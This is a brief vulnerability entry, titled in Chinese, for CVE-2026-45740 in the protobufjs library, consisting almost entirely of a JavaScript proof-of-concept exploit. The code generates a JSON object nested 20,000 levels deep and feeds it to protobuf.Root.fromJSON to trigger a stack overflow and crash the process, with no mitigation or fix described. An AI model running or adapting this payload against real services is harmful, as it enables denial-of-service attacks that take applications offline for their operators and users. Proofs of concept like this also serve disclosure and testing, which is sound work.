CVE-2026-45740 protobufjs栈溢出拒绝服务漏洞

// PoC for CVE-2026-45740 // This PoC generates a deeply nested JSON object to trigger stack overflow in protobufjs const protobuf = require("protobufjs"); function generateDeepNestedJson(depth) { let nested = {}; let current = nested; for (let i = 0; i < depth; i++) { current.nested = { name: `level_${i}`, fields: {} }; current = current.nested; } return { nested: nested }; } // Generate a payload with recursion depth exceeding typical stack limits const maliciousPayload = generateDeepNestedJson(20000); try { console.log("Attempting to parse malicious JSON..."); // Trigger the vulnerable function protobuf.Root.fromJSON(maliciousPayload); console.log("Parsing completed (unexpected)."); } catch (e) { console.error(`Vulnerability triggered: ${e.message}`); }